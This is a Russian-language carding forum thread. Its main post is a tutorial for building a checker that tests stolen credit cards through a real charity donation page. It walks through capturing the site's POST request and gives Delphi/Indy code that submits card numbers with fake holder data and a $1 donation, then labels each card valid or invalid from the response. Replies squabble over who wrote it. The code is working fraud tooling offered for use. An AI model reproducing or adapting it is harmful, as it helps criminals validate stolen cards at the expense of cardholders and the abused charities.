[Delphi] Делаем свой чекер картона

[Friend]

Для начала нам надо найти мерчант, через который будет проходить процесс чекинга)

[Поиск мерчанта для чекера]
В этой статье я буду использовать Donate (дальше донат).
Донат можно найти в гугле такими запросами:

donate by credit card
donate for animals
donate for kinds

и так далее...
Для примера я буду использовать hXXps://www.amconmag.com/donate.html
Этот донат уже очень сильно задрочен мной... на нем ввели проверку адреса холдера + с 1 карты можно попытаться сделать пожертвование только 1 раз.

[Узнаем, какие запросы передаются сайту]
Чтобы узнать какие данные передаются сайту я использую плагин к Firefox:

HttpFox

.
Его можно найти в гугле).
После установки плагина в правом нижнем углу появится значок плагина.
Итак, переходим на сайт доната, вводим данные, для этого доната обязательно надо указывать следующие верные данные:

номер карты
експ
зип код

.
Жмем в плагине старт и на кнопку Donate! на странице доната.
После того, как страница выдала результат, в плагине HttpFox ищем строчку с POST запросом на сайт. (смотрим скрин, я обвел этот запрос).

Жмем на эту строчку и выбираем вкладку POST DATA, там будут данные, передаваемые сайту, которые собственно нам и нужны).

[Кодинг]
Я использую Delphi XE, т.к там сразу включены нормально работающие компненты Indy.
Запросы мы будет отправлять средствами Indy.
Для начала бросаем на форму пару Edit'ов для ввода данных для чека(номер карты, експ, зип), компонент IdHTTP из вкладки Indy Clients, и компонент IdSSLIOHandlerSocketOpenSSL (для работы с SSL) из вкладки Indy I/O Handlers и кнопку, по нажатии который будет происходить чек карты.
Связываем эти компоненты: Выделяем на форме компонент IdHTTP и в Object Inspector'е выбираем свойство IOHandlers и выбираем из списка IdSSLIOHandlerSocketOpenSSL.
Далее создаем переменную page типа string, в которой будет хранится страница ответа сервера и переменную типа Tstringlist я назвал ее ccdata. В переменной ccdata будут хранится данные для POST запроса.
Для начала нужно создать переменную ccdata, делается это так:

ccdata:=tstringlist.create;

Теперь нам надо сделать так, чтобы компонент IdHTTP делал автоматические редиректы:

idhttp1.HandleRedirects:=true;

Добавляем в переменную ccdata, данные которые мы получили из плагина HttpFox:

  ccdata.Add('firstname=vasya');
  ccdata.Add('lastname=pupkin');
  ccdata.Add('address1=4ertenok');
  ccdata.Add('address2=');
  ccdata.Add('city=4ertenok');
  ccdata.Add('state=4k');
  ccdata.Add('zipcode='+zipcode.Text);
  ccdata.add('emailc=email@email.com');
  ccdata.add('phone=');
  ccdata.Add('cardnumber='+cardnum.text);
  ccdata.Add('expmonth='+month.Text);
  ccdata.Add('expyear='+year.Text);
  ccdata.Add('donation=1'); // сумма
  ccdata.Add('comments=');
  ccdata.Add('Submit=Donate!');

Далее делаем POST запрос на страницу и помещаем ответ в переменую page:

page:=idhttp1.post('https://www.amconmag.com/donatethankдеs.html',ccdata);

Теперь анализируем ответ и выдаем результат:

if pos('There is a problem with this transaction',page)<>0 then begin
result.caption:='НЕВАЛИД!';
end
else begin
result.caption:='ВАЛИД!';
end;

т.е если найдена фраза There is a problem with this transaction, значит чекер выдает НЕВАЛИД! , иначе чекер покажет ВАЛИД!.
Нас учили убирать за собой:

ccdata.free;

[Заключение]
В этой статье я показал, как сделать простенький чекер картона через Donate.
Для массового чекера картона не советую использовать донаты, т.к они дохнут как мухи, через пару дней использования.
Донат, который показан в статье уже почти не чекает, т.к он был задрочен мной около месяца...
Статья написана исключительно для ознакомления!!!

 

[xanter]

копипаст , авторство 4ertenok

 

[zakidorex]

пиздец... а ТС еще и вип юзер здесь...
хотя бы копирайты укажи
(c) 4ertenok, icq 351933412

 

[comm1x]

ну давайте еще 10 раз скажем что "О нет копирайтов, это же всепиздецнах!"..
и почему каждый считает нужным написать об этом..

 

[Дмитрий911]

Спасибо тс, как всегда хорошая статья от тебя =)